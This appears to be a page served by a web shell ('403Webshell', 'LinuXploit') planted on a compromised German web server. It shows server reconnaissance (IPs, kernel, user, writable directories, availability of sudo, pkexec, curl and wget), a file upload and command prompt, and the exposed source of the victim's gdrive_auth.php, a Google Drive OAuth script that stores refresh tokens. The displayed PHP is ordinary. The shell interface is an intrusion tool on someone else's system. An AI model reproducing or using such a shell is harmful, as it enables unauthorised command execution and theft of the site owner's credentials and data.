403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/gdrive_auth.php
<?php
/**
 * gdrive_auth.php – Einmalige (Neu-)Autorisierung des Google-Drive-Zugriffs für die Monatsabrechnung.
 *
 *  1. Seite ohne ?code  -> Button „Mit Google verbinden" (Consent-URL, access_type=offline, prompt=consent).
 *  2. Google leitet mit ?code zurück -> Code gegen Token tauschen, refresh_token sichern.
 *
 *  Das erzeugte Token wird unter includes/certs/token-...-pacim-gdrive.json gespeichert
 *  (dieselbe Datei, die accounting.drive.php nutzt).
 *
 *  WICHTIG: Die hier angezeigte „Redirect URI" muss in der Google Cloud Console beim
 *  OAuth-Client als zulässige Weiterleitungs-URI eingetragen sein.
 */
require_once( __DIR__ . '/includes/config.inc.php' );
ini_set( 'display_errors', '0' );
error_reporting( 0 );

if ( ! isset( $_SESSION['user'] ) || $_SESSION['user'] != LOGIN_USER ) {
    http_response_code( 403 );
    echo 'Nicht angemeldet.';
    exit();
}

require_once( PATH_SYSTEM . '/includes/accounting.drive.php' );
$credentialsPath = accounting_drive_token_path();
$secretPath      = accounting_drive_secret_path();

// Registrierte Redirect-URI aus der client_secret-Datei verwenden -> kein redirect_uri_mismatch,
// kein Eingriff in der Google Cloud Console nötig. Google leitet danach an gdrive_quick.php (Callback).
$secret   = json_decode( file_get_contents( $secretPath ), true );
$secretK  = is_array( $secret ) ? array_key_first( $secret ) : null;
$redirect = ( $secretK && ! empty( $secret[ $secretK ]['redirect_uris'][0] ) ) ? $secret[ $secretK ]['redirect_uris'][0] : null;

function gauth_client( $redirect, $secretPath ) {
    $client = new Google_Client();
    $client->setApplicationName( 'PaCIM Monatsabrechnung' );
    $client->setAuthConfig( $secretPath );
    $client->addScope( 'https://www.googleapis.com/auth/drive' );
    if ( $redirect ) $client->setRedirectUri( $redirect );
    $client->setAccessType( 'offline' );
    $client->setPrompt( 'consent' ); // erzwingt ein neues refresh_token
    return $client;
}

$client = gauth_client( $redirect, $secretPath );

function gauth_page( $body ) {
    echo '<!doctype html><html lang="de"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">';
    echo '<title>Google Drive verbinden</title>';
    echo '<style>body{font-family:system-ui,Segoe UI,Roboto,Arial,sans-serif;max-width:640px;margin:48px auto;padding:0 20px;color:#1f2937;line-height:1.55}';
    echo '.btn{display:inline-block;background:#2563eb;color:#fff;padding:10px 18px;border-radius:8px;text-decoration:none;font-weight:600}';
    echo 'code{background:#f3f4f6;padding:2px 6px;border-radius:4px;font-size:13px;word-break:break-all}';
    echo '.ok{color:#15803d;font-weight:600}.err{color:#b91c1c;font-weight:600}.muted{color:#6b7280;font-size:14px}</style></head><body>';
    echo $body;
    echo '</body></html>';
    exit();
}

if ( ! $redirect ) {
    gauth_page( '<h1 class="err">Konfigurationsfehler</h1><p>In der client_secret-Datei ist keine Redirect-URI hinterlegt.</p>' );
}

/* ---- Callback: Google leitet mit ?code hierher zurück (registrierte Redirect-URI = diese Seite) ---- */
if ( isset( $_GET['code'] ) ) {
    $token = $client->fetchAccessTokenWithAuthCode( $_GET['code'] );

    if ( isset( $token['error'] ) ) {
        gauth_page( '<h1 class="err">Autorisierung fehlgeschlagen</h1><p><code>' . htmlspecialchars( $token['error'] . ' – ' . ( isset( $token['error_description'] ) ? $token['error_description'] : '' ) ) . '</code></p><p><a class="btn" href="?">Erneut versuchen</a></p>' );
    }

    // Falls Google kein neues refresh_token liefert, ein vorhandenes behalten.
    if ( empty( $token['refresh_token'] ) && file_exists( $credentialsPath ) ) {
        $old = json_decode( file_get_contents( $credentialsPath ), true );
        if ( is_array( $old ) && ! empty( $old['refresh_token'] ) ) $token['refresh_token'] = $old['refresh_token'];
    }

    $hasRefresh = ! empty( $token['refresh_token'] );
    @file_put_contents( $credentialsPath, json_encode( $token ) );

    gauth_page(
        '<h1 class="ok">Google Drive verbunden ✓</h1>' .
        '<p>Das Zugriffstoken wurde gespeichert.' . ( $hasRefresh ? ' Ein <strong>refresh_token</strong> ist vorhanden – die Übertragung funktioniert dauerhaft.' : ' <span class="err">Achtung: kein refresh_token erhalten.</span> Bitte den Zugriff im Google-Konto (Sicherheit → Drittanbieter-Apps) entfernen und erneut verbinden.' ) . '</p>' .
        '<p class="muted">Du kannst dieses Fenster schließen und in der Buchhaltung „In Google Drive" übertragen.</p>'
    );
}

/* ---- Start: Consent-Link anzeigen ---- */
$authUrl = $client->createAuthUrl();
gauth_page(
    '<h1>Google Drive verbinden</h1>' .
    '<p>Der gespeicherte Zugang für den Drive-Upload der Monatsabrechnungen ist abgelaufen. Verbinde das Google-Konto, das den Abrechnungs-Ordner besitzt, neu:</p>' .
    '<p><a class="btn" href="' . htmlspecialchars( $authUrl ) . '">Mit Google verbinden</a></p>' .
    '<p class="muted">Verwendete Redirect-URI (in der Google Cloud Console registriert):<br><code>' . htmlspecialchars( $redirect ) . '</code></p>'
);

Youez - 2016 - github.com/yon3zu
LinuXploit